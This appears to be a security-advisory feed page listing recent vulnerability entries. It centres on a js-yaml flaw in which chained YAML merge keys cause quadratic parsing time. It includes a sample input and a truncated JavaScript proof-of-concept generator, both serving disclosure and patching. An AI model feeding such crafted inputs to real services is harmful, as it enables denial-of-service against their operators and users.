Most recent entries from all

EUVD-2026-335273

fkie_cve-2026-59868

js-yaml is a JavaScript YAML parser and dumper. From 5.0.0 before 5.2.0, when merge keys are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in version 5.2.0.

GHSA-g796-fgmg-93mv — js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

Affected: npm: js-yaml

### Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (`<<`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

### PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) }

lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now() const result = load(source, { schema: YAML11_…

RHSA-2026:26994 — Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

dotnet: .NET: Local file tampering via link following vulnerability dotnet: ASP.NET Core: Denial of Service via uncontrolled resource consumption ws: ws: Uninitialized memory disclosure via `websocket.close()` with `TypedArray` engine.io: Engine.IO: Denial of Service via crafted WebTransport session ID js-yaml: js-yaml: Denial of Service via quadratic CPU time parsing with merge keys js-yaml: js-yaml: Denial of Service via crafted YAML ordered-map document

UBUNTU-CVE-2026-59868

Affected: Ubuntu:18.04:LTS: node-js-yaml, Ubuntu:20.04:LTS: node-js-yaml, Ubuntu:22.04:LTS: node-js-yaml, Ubuntu:24.04:LTS: node-js-yaml, Ubuntu:25.10: node-js-yaml, Ubuntu:26.04:LTS: node-js-yaml

WID-SEC-W-2026-3221 — IBM App Connect Enterprise: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, erweiterte Berechtigungen zu erlangen, Sicherheitsmaßnahmen zu umgehen, vertrauliche Informationen offenzulegen oder Denial-of-Service-Zustände herbeizuführen.